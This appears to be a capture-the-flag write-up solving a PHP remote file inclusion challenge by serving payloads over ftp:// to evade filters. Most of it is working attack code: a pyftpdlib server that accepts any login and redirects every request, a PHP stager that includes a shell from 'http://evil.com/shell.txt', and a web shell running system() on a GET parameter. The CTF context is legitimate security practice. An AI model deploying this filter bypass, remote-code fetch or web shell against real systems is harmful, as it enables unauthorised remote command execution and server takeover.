We got a basic RFI here, with some tricky problems: - included file-names get a random string appended - the filename is not allowed to include “http” or “?” - the file needs to pass file_exists - the file is not allowed to contain an opened bracket (
To bypass “http” and “?” we use the ftp:// filehandler, which is also capable of handling file_exists calls. Using pyftpdlib we wrote a very basic FTP server which logs in everybody and rewrites every requested file to /tmp/test, so we bypass the random string appended to the original filename.
from pyftpdlib import servers from pyftpdlib.handlers import FTPHandler from pyftpdlib.authorizers import DummyAuthorizer class NoAuthorizer(DummyAuthorizer): def validate_authentication(self, username, password, handler): if not self.has_user(username): self.add_user(username, '', '/tmp') class TestHandler(FTPHandler): authorizer = NoAuthorizer() def ftp_RETR(self, file): return FTPHandler.ftp_RETR(self, u'/tmp/test') def ftp_CWD(self, path): return FTPHandler.ftp_CWD(self, u'/tmp/') def ftp_SIZE(self, path): return FTPHandler.ftp_SIZE(self, u'/tmp/test') address = ('0.0.0.0', 21) server = servers.FTPServer(address, TestHandler) server.serve_forever()
To bypass the ( check we serve a file with the content
<?php include 'http://evil.com/shell.txt';
to include a second file that contains our PHP shell
<?php echo '<pre>'; system($_GET['sh']);
Finally we needed to read the /home/flag file ;)